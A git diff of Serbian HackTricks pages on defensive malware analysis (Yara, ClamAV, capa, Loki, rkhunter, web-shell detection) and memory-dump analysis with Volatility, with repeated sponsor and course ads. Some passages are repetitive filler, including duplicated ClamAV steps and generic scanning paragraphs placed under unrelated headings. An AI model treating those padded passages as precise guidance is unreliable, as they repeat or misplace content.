* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||||
|
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||||
|
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||||
|
* **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
||||||
|
**Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -0,0 +1,283 @@
|
||||||
|
# Analiza zlonamernog softvera
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Forenzički CheatSheets
|
||||||
|
|
||||||
|
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||||
|
|
||||||
|
## Online usluge
|
||||||
|
|
||||||
|
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||||
|
* [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||||
|
* [Koodous](https://koodous.com)
|
||||||
|
* [Intezer](https://analyze.intezer.com)
|
||||||
|
* [Any.Run](https://any.run/)
|
||||||
|
|
||||||
|
## Offline antivirusni i detekcioni alati
|
||||||
|
|
||||||
|
### Yara
|
||||||
|
|
||||||
|
#### Instalacija
|
||||||
|
```bash
|
||||||
|
sudo apt-get install -y yara
|
||||||
|
```
|
||||||
|
#### Priprema pravila
|
||||||
|
|
||||||
|
Koristite ovaj skript za preuzimanje i spajanje svih yara pravila za maliciozni softver sa github-a: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||||
|
Kreirajte direktorijum _**rules**_ i izvršite skriptu. Ovo će kreirati fajl nazvan _**malware\_rules.yar**_ koji sadrži sva yara pravila za maliciozni softver.
|
||||||
|
```bash
|
||||||
|
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||||
|
mkdir rules
|
||||||
|
python malware_yara_rules.py
|
||||||
|
```
|
||||||
|
#### Skeniranje
|
||||||
|
|
||||||
|
Skeniranje je prvi korak u analizi malvera. Cilj skeniranja je identifikacija malicioznih datoteka ili aktivnosti na sistemu. Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje malvera.
|
||||||
|
|
||||||
|
##### Statičko skeniranje
|
||||||
|
|
||||||
|
Statičko skeniranje se odnosi na analizu malvera bez njegovog izvršavanja. Ovo se može postići pregledom binarnih datoteka, dekompilacijom izvršnih datoteka ili analizom koda. Statičko skeniranje može otkriti poznate malvera na osnovu prepoznatljivih potpisa ili karakteristika.
|
||||||
|
|
||||||
|
##### Dinamičko skeniranje
|
||||||
|
|
||||||
|
Dinamičko skeniranje se odnosi na analizu malvera tokom njegovog izvršavanja. Ovo se može postići pokretanjem malvera u kontrolisanom okruženju i praćenjem njegovih aktivnosti. Dinamičko skeniranje može otkriti skrivene ili promenljive funkcionalnosti malvera.
|
||||||
|
|
||||||
|
##### Heurističko skeniranje
|
||||||
|
|
||||||
|
Heurističko skeniranje se odnosi na upotrebu heurističkih pravila ili algoritama za otkrivanje nepoznatih malvera. Ovo se može postići analizom ponašanja malvera ili identifikacijom sumnjivih aktivnosti. Heurističko skeniranje može otkriti nove ili prilagođene malvere koji se ne prepoznaju putem statičkog skeniranja.
|
||||||
|
|
||||||
|
##### Skeniranje mreže
|
||||||
|
|
||||||
|
Skeniranje mreže se odnosi na identifikaciju malvera na mrežnom nivou. Ovo se može postići analizom mrežnog saobraćaja, detekcijom sumnjivih veza ili identifikacijom malicioznih IP adresa. Skeniranje mreže može otkriti malvere koji se šire putem mreže ili koriste mrežne resurse za svoje aktivnosti.
|
||||||
|
|
||||||
|
##### Skeniranje memorije
|
||||||
|
|
||||||
|
Skeniranje memorije se odnosi na analizu malvera u operativnoj memoriji. Ovo se može postići pregledom procesa, identifikacijom sumnjivih ili zaraženih procesa, ili pronalaženjem malicioznih injekcija u memoriji. Skeniranje memorije može otkriti malvere koji se izvršavaju u memoriji i izbegavaju detekciju na disku.
|
||||||
|
|
||||||
|
##### Skeniranje registra
|
||||||
|
|
||||||
|
Skeniranje registra se odnosi na analizu malvera u Windows registru. Ovo se može postići identifikacijom sumnjivih unosa registra, pronalaženjem malicioznih ključeva ili analizom promena u registru. Skeniranje registra može otkriti malvere koji koriste registar za svoje aktivnosti ili za održavanje upornosti.
|
||||||
|
|
||||||
|
##### Skeniranje fajl sistema
|
||||||
|
|
||||||
|
Skeniranje fajl sistema se odnosi na analizu malvera na nivou fajl sistema. Ovo se može postići pregledom fajlova, identifikacijom sumnjivih ili zaraženih fajlova, ili pronalaženjem skrivenih fajlova. Skeniranje fajl sistema može otkriti malvere koji se kriju u fajlovima ili koriste fajl sistem za širenje.
|
||||||
|
```bash
|
||||||
|
yara -w malware_rules.yar image #Scan 1 file
|
||||||
|
yara -w malware_rules.yar folder #Scan the whole folder
|
||||||
|
```
|
||||||
|
#### YaraGen: Proverite za zlonamerni softver i kreirajte pravila
|
||||||
|
|
||||||
|
Možete koristiti alatku [**YaraGen**](https://github.com/Neo23x0/yarGen) da generišete yara pravila iz binarnog fajla. Pogledajte ove tutorijale: [**Deo 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Deo 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Deo 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||||
|
```bash
|
||||||
|
python3 yarGen.py --update
|
||||||
|
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||||
|
```
|
||||||
|
### ClamAV
|
||||||
|
|
||||||
|
#### Instalacija
|
||||||
|
|
||||||
|
Da biste instalirali ClamAV, možete koristiti sledeće komande:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install clamav
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Ažuriranje baza podataka
|
||||||
|
|
||||||
|
Nakon instalacije, trebali biste ažurirati baze podataka ClamAV-a. To možete uraditi pomoću sledeće komande:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo freshclam
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Skeniranje fajlova
|
||||||
|
|
||||||
|
Da biste skenirali određeni fajl ili direktorijum, koristite sledeću komandu:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
clamscan <putanja_do_fajla_ili_direktorijuma>
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Izveštaj o skeniranju
|
||||||
|
|
||||||
|
Da biste generisali izveštaj o skeniranju, koristite sledeću komandu:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
clamscan -r --bell -i <putanja_do_fajla_ili_direktorijuma> > izvestaj.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Ova komanda će generisati izveštaj o skeniranju i sačuvati ga u fajlu "izvestaj.txt".
|
||||||
|
```
|
||||||
|
sudo apt-get install -y clamav
|
||||||
|
```
|
||||||
|
#### Skeniranje
|
||||||
|
|
||||||
|
Skeniranje je prvi korak u analizi malvera. Cilj skeniranja je identifikacija malicioznih datoteka ili aktivnosti na sistemu. Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje malvera.
|
||||||
|
|
||||||
|
##### Antivirus skeniranje
|
||||||
|
|
||||||
|
Antivirusni softver je jedan od najčešćih alata koji se koristi za skeniranje malvera. On analizira datoteke i sistem kako bi pronašao potencijalno zlonamerne ili sumnjive aktivnosti. Antivirusni softver koristi bazu podataka sa potpisima malvera kako bi prepoznao poznate maliciozne datoteke. Međutim, ova metoda ima ograničenja jer se oslanja samo na prepoznavanje poznatih malvera.
|
||||||
|
|
||||||
|
##### Heurističko skeniranje
|
||||||
|
|
||||||
|
Heurističko skeniranje je tehnika koja se koristi za otkrivanje novih ili nepoznatih malvera. Umesto da se oslanja na bazu podataka sa potpisima, heurističko skeniranje analizira ponašanje datoteka i sistema kako bi identifikovalo sumnjive aktivnosti. Ova tehnika može biti efikasnija u otkrivanju novih malvera, ali takođe može generisati lažno pozitivne rezultate.
|
||||||
|
|
||||||
|
##### Analiza paketa
|
||||||
|
|
||||||
|
Analiza paketa je proces pregledanja mrežnog saobraćaja kako bi se identifikovali maliciozni ili sumnjivi paketi. Ova tehnika može otkriti malver koji koristi mrežu za komunikaciju sa kontrolnim serverima ili za prenos podataka. Alati poput Wireshark-a mogu se koristiti za analizu paketa.
|
||||||
|
|
||||||
|
##### Analiza registra
|
||||||
|
|
||||||
|
Analiza registra je proces pregledanja registra sistema kako bi se identifikovali maliciozni unos ili promene. Malveri često koriste registar za postavljanje svojih ključeva i vrednosti kako bi ostali prisutni na sistemu. Pregledanje registra može otkriti sumnjive unose koji ukazuju na prisustvo malvera.
|
||||||
|
|
||||||
|
##### Analiza datoteka
|
||||||
|
|
||||||
|
Analiza datoteka uključuje pregledanje malicioznih datoteka kako bi se identifikovali njihovi karakteristični atributi. Ovo može uključivati pregledanje metapodataka, analizu sadržaja datoteke ili izvršavanje datoteke u sandbox okruženju radi identifikacije malicioznih aktivnosti.
|
||||||
|
|
||||||
|
##### Analiza ponašanja
|
||||||
|
|
||||||
|
Analiza ponašanja je proces praćenja aktivnosti malvera na sistemu kako bi se identifikovali njegovi koraci i efekti. Ovo može uključivati praćenje mrežne komunikacije, promene u sistemskim datotekama ili registrovanje aktivnosti u logovima. Praćenje ponašanja malvera može pružiti uvid u njegove funkcionalnosti i ciljeve.
|
||||||
|
|
||||||
|
##### Analiza malvera u sandbox okruženju
|
||||||
|
|
||||||
|
Sandbox okruženje je izolovano okruženje u kojem se malver može izvršiti radi analize njegovih aktivnosti. Ovo omogućava istraživačima da prate ponašanje malvera i identifikuju njegove funkcionalnosti bez rizika od infekcije sistema. Sandbox okruženje može biti korisno za otkrivanje skrivenih funkcionalnosti malvera ili za identifikaciju novih varijanti.
|
||||||
|
|
||||||
|
##### Analiza malvera u virtualnoj mašini
|
||||||
|
|
||||||
|
Virtualna mašina je softversko okruženje koje emulira fizički računar. Analiza malvera u virtualnoj mašini omogućava istraživačima da izvrše malver u kontrolisanom okruženju i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u sandbox okruženju.
|
||||||
|
|
||||||
|
##### Analiza malvera u kontejneru
|
||||||
|
|
||||||
|
Kontejner je izolovano okruženje koje omogućava izvršavanje aplikacija i procesa. Analiza malvera u kontejneru omogućava istraživačima da izvrše malver u izolovanom okruženju i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u virtualnim mašinama ili sandbox okruženjima.
|
||||||
|
|
||||||
|
##### Analiza malvera u oblaku
|
||||||
|
|
||||||
|
Analiza malvera u oblaku omogućava istraživačima da izvrše malver na udaljenom serveru i prate njegove aktivnosti. Ovo može biti korisno za identifikaciju malvera koji su dizajnirani da izbegnu otkrivanje u lokalnim okruženjima.
|
||||||
|
```bash
|
||||||
|
sudo freshclam #Update rules
|
||||||
|
clamscan filepath #Scan 1 file
|
||||||
|
clamscan folderpath #Scan the whole folder
|
||||||
|
```
|
||||||
|
### [Capa](https://github.com/mandiant/capa)
|
||||||
|
|
||||||
|
**Capa** otkriva potencijalno zlonamerne **sposobnosti** u izvršnim datotekama: PE, ELF, .NET. Dakle, pronaći će stvari poput Att\&ck taktika ili sumnjivih sposobnosti kao što su:
|
||||||
|
|
||||||
|
* provera greške OutputDebugString
|
||||||
|
* pokretanje kao servis
|
||||||
|
* kreiranje procesa
|
||||||
|
|
||||||
|
Preuzmite ga sa [**Github repozitorijuma**](https://github.com/mandiant/capa).
|
||||||
|
|
||||||
|
### IOC-ovi
|
||||||
|
|
||||||
|
IOC znači Indikator kompromitacije. IOC je skup **uslova koji identifikuju** potencijalno neželjeni softver ili potvrđeni **malver**. Plavi timovi koriste ovu vrstu definicije da **traže ovu vrstu zlonamernih datoteka** u svojim **sistemima** i **mrežama**.\
|
||||||
|
Deljenje ovih definicija je veoma korisno jer kada se malver identifikuje na računaru i IOC za taj malver se kreira, drugi Plavi timovi ga mogu koristiti da brže identifikuju malver.
|
||||||
|
|
||||||
|
Alatka za kreiranje ili modifikaciju IOC-ova je [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||||
|
Možete koristiti alatke poput [**Redline**](https://www.fireeye.com/services/freeware/redline.html) da **tražite definisane IOC-ove na uređaju**.
|
||||||
|
|
||||||
|
### Loki
|
||||||
|
|
||||||
|
[**Loki**](https://github.com/Neo23x0/Loki) je skener za jednostavne indikatore kompromitacije.\
|
||||||
|
Detekcija se zasniva na četiri metode detekcije:
|
||||||
|
```
|
||||||
|
1. File Name IOC
|
||||||
|
Regex match on full file path/name
|
||||||
|
|
||||||
|
2. Yara Rule Check
|
||||||
|
Yara signature matches on file data and process memory
|
||||||
|
|
||||||
|
3. Hash Check
|
||||||
|
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||||
|
|
||||||
|
4. C2 Back Connect Check
|
||||||
|
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||||
|
```
|
||||||
|
### Linux Malware Detect
|
||||||
|
|
||||||
|
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) je skener zlonamernog softvera za Linux koji je objavljen pod GNU GPLv2 licencom, a dizajniran je za pretnje sa kojima se susreću u deljenim hosting okruženjima. Koristi podatke o pretnjama sa sistema za otkrivanje upada na mrežnom rubu kako bi izdvojio zlonamerni softver koji se aktivno koristi u napadima i generiše potpise za detekciju. Pored toga, podaci o pretnjama se takođe dobijaju iz korisničkih prijava putem funkcije LMD checkout i resursa zajednice za zlonamerni softver.
|
||||||
|
|
||||||
|
### rkhunter
|
||||||
|
|
||||||
|
Alati poput [**rkhunter**](http://rkhunter.sourceforge.net) mogu se koristiti za proveru datotečnog sistema radi mogućih **rootkitova** i zlonamernog softvera.
|
||||||
|
```bash
|
||||||
|
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||||
|
```
|
||||||
|
### FLOSS
|
||||||
|
|
||||||
|
[**FLOSS**](https://github.com/mandiant/flare-floss) je alat koji će pokušati da pronađe obfuskirane stringove unutar izvršnih datoteka koristeći različite tehnike.
|
||||||
|
|
||||||
|
### PEpper
|
||||||
|
|
||||||
|
[PEpper](https://github.com/Th3Hurrican3/PEpper) proverava neke osnovne stvari unutar izvršne datoteke (binarni podaci, entropija, URL-ovi i IP adrese, neka pravila yara).
|
||||||
|
|
||||||
|
### PEstudio
|
||||||
|
|
||||||
|
[PEstudio](https://www.winitor.com/download) je alat koji omogućava dobijanje informacija o Windows izvršnim datotekama kao što su uvozi, izvozi, zaglavlja, ali takođe će proveriti virus total i pronaći potencijalne Att\&ck tehnike.
|
||||||
|
|
||||||
|
### Detect It Easy(DiE)
|
||||||
|
|
||||||
|
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) je alat za otkrivanje da li je datoteka **šifrovana** i takođe pronalazi **pakere**.
|
||||||
|
|
||||||
|
### NeoPI
|
||||||
|
|
||||||
|
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) je Python skripta koja koristi razne **statističke metode** za otkrivanje **obfuskiranog** i **šifrovanog** sadržaja unutar tekstualnih/skriptnih datoteka. Namera NeoPI-ja je da pomogne u **otkrivanju skrivenog koda web školjki**.
|
||||||
|
|
||||||
|
### **php-malware-finder**
|
||||||
|
|
||||||
|
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) se najbolje trudi da otkrije **obfuskirani**/**sumnjivi kod** kao i datoteke koje koriste **PHP** funkcije često korištene u **malverima**/web školjkama.
|
||||||
|
|
||||||
|
### Apple binarne potpise
|
||||||
|
|
||||||
|
Prilikom provere nekog **uzorka malvera** uvek treba **proveriti potpis** binarne datoteke jer se **razvijač** koji ga je potpisao može već **povezivati** sa **malverom**.
|
||||||
|
```bash
|
||||||
|
#Get signer
|
||||||
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
|
||||||
|
#Check if the app’s contents have been modified
|
||||||
|
codesign --verify --verbose /Applications/Safari.app
|
||||||
|
|
||||||
|
#Check if the signature is valid
|
||||||
|
spctl --assess --verbose /Applications/Safari.app
|
||||||
|
```
|
||||||
|
## Tehnike otkrivanja
|
||||||
|
|
||||||
|
### Stacking datoteka
|
||||||
|
|
||||||
|
Ako znate da se neki folder koji sadrži **datoteke** veb servera **poslednji put ažurirao na neki datum**, **proverite** datum kada su sve **datoteke** na veb serveru kreirane i izmenjene, i ako je bilo koji datum **sumnjiv**, proverite tu datoteku.
|
||||||
|
|
||||||
|
### Referentne vrednosti
|
||||||
|
|
||||||
|
Ako se **datoteke** u folderu **ne bi trebale menjati**, možete izračunati **heš** **originalnih datoteka** u folderu i **uporediti** ih sa **trenutnim**. Sve što je izmenjeno biće **sumnjivo**.
|
||||||
|
|
||||||
|
### Statistička analiza
|
||||||
|
|
||||||
|
Kada se informacije čuvaju u logovima, možete **proveriti statistiku kao što je koliko puta je svaka datoteka veb servera pristupana, jer web šel može biti jedan od najčešćih**.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **oglašavanje vaše kompanije na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,72 @@
|
||||||
|
# Analiza memorijskog ispusta
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
## Početak
|
||||||
|
|
||||||
|
Počnite **tražiti** zlonamerni softver unutar pcap-a. Koristite **alate** navedene u [**Analizi zlonamernog softvera**](../malware-analysis.md).
|
||||||
|
|
||||||
|
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||||
|
|
||||||
|
**Volatility je glavni open-source okvir za analizu memorijskog ispusta**. Ovaj Python alat analizira ispuste sa eksternih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu profila operativnog sistema ispusta. Može se proširiti pomoću dodataka, što ga čini izuzetno fleksibilnim za forenzičke istrage.
|
||||||
|
|
||||||
|
**[Ovde pronađite cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||||
|
|
||||||
|
|
||||||
|
## Izveštaj o padu mini ispusta
|
||||||
|
|
||||||
|
Kada je ispust mali (samo nekoliko KB, možda nekoliko MB), verovatno je izveštaj o padu mini ispusta, a ne memorijski ispušt.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (216).png>)
|
||||||
|
|
||||||
|
Ako imate instaliran Visual Studio, možete otvoriti ovaj fajl i dobiti osnovne informacije kao što su naziv procesa, arhitektura, informacije o izuzecima i izvršeni moduli:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (217).png>)
|
||||||
|
|
||||||
|
Takođe možete učitati izuzetak i videti dekompilirane instrukcije
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (219).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||||
|
|
||||||
|
U svakom slučaju, Visual Studio nije najbolji alat za analizu dubine ispusta.
|
||||||
|
|
||||||
|
Trebali biste ga **otvoriti** koristeći **IDA** ili **Radare** da biste ga detaljnije pregledali.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,246 @@
|
||||||
|
# Partitions/File Systems/Carving
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
